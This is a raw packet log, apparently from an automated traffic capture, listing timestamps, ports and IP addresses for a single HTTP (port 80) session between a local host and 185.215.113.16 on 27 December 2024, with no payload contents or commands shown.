Dec 27, 2024 09:01:13.749461889 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.749501944 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.750176907 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.750231981 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.750267029 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.750369072 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.751043081 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.751112938 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.751136065 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.751173019 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.751904964 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.751981974 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.752000093 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.752043009 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.752806902 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.752871990 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.752896070 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.752947092 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.753685951 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.753705978 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.753766060 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.753767014 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.754570961 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.754645109 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.754647017 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.754719019 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.755366087 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.755515099 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.911346912 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.911392927 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.911458015 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.911458015 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.911664009 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.911717892 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.911834002 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.911910057 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.912622929 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.912724972 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.912751913 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.912822962 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.913449049 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.913507938 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.913567066 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.913847923 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.914304972 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.914346933 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.914429903 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.914478064 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.915169954 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.915220022 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.915280104 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.915335894 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.916074991 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.916197062 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.916199923 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.916280985 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.916924000 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.917058945 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.917078972 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.917156935 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.917864084 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.917922974 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.917999983 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.918046951 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.918768883 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.918879032 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.918916941 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.918998003 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.919594049 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.919653893 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.919686079 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.919821024 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.920459032 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.920566082 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.920573950 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.920633078 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.921314001 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.921370029 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.921426058 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.921499968 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.923016071 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.923106909 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.923120022 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.923134089 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.923166037 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.923232079 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.923288107 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.923953056 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.924005985 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.924022913 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.924091101 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.924849987 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.924884081 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.924901962 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.924936056 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.925741911 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.925793886 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.925873041 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.925921917 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.926567078 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.926616907 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.926726103 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.926780939 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.927440882 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.927491903 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.927516937 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.927575111 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.928389072 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.928487062 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.928530931 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.928530931 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.929168940 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.929300070 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.929301023 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.929369926 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.930057049 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.930109978 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.930171013 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.930227041 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.930928946 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.930994987 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.931025028 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.931086063 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.931793928 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.931880951 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.931912899 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.931960106 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.932701111 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.932791948 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.932837009 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.932837009 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.933562994 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.933623075 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.933657885 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.933727980 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.934463024 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.934545040 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.934580088 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.934638023 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.935338974 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.935411930 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.935441017 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.935533047 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.936218977 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.936300039 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.936310053 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.936388969 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.937100887 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.937139034 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.937160015 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.937199116 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.937993050 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.938062906 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.938079119 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.938179970 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.938863039 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.938910007 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.938967943 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.939097881 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.939749956 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.939826012 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.939858913 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.939941883 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.940599918 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.940675974 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.940694094 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.940900087 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.941476107 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.941525936 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.941560984 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.941616058 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.942337036 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.942475080 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.942497969 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.942560911 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.943263054 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.943301916 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.943317890 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.943357944 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.944241047 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.944367886 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.944376945 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.944453955 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.945080996 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.945126057 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.945171118 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.945264101 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.945883989 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.945986986 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.946002960 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.946089983 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.946840048 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.946913958 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.946949005 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.947139978 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.947623014 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.947707891 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.947711945 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.947758913 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.948499918 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.948543072 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.948599100 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.948647976 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.949356079 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.949460030 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.949470043 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.949614048 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.950258970 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.950351954 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.950385094 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.950443029 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.951133013 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.951188087 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.951219082 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.951323986 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.952004910 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.952063084 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.952099085 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.952145100 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.952898979 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.952953100 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.952980042 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.953121901 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.953756094 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.953830004 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.953854084 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.953942060 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.954623938 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.954721928 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.954765081 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.954765081 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.955522060 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.955579042 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.955626965 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.955713987 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.956418037 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.956518888 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.956552982 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.956594944 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:13.957232952 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:13.957278013 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.185703039 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.185796976 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.185867071 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.185997963 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.186141014 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.186142921 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.186261892 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.186929941 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.186985970 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.187021017 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.187057972 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.187750101 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.187802076 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.187868118 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.187951088 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.188646078 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.188734055 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.188785076 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.189495087 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.189588070 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.189665079 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.189743042 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.190421104 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.190524101 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.190529108 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.190665007 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.191256046 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.191320896 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.191350937 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.191433907 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.192147970 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.192197084 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.192265987 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.192332983 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.686224937 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.686263084 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.686300993 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.686335087 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.686383009 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.686388016 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.686394930 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.686408043 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.686434984 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.686434984 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.686480045 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.686623096 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.686635971 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.686649084 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.686662912 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.686676025 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.686691046 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.686728954 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.686728954 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.686906099 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.686985970 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.686989069 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.687000036 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.687011003 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.687024117 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.687036037 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.687051058 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.687052965 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.687052965 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.687077999 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.687098980 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.687279940 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.687333107 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.687333107 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.687345982 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.687357903 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.687401056 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.687427998 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.687441111 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.687453032 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.687458992 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.687467098 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.687479973 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.687491894 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.687503099 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.687508106 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.687539101 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.687571049 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.688194036 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.688206911 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.688220024 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.688237906 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.688251019 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.688251972 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.688263893 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.688275099 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.688282013 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.688292980 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.688304901 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.688306093 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.688306093 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.688317060 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.688328981 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.688340902 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.688345909 CET	49789	80	192.168.2.4	185.215.113.16
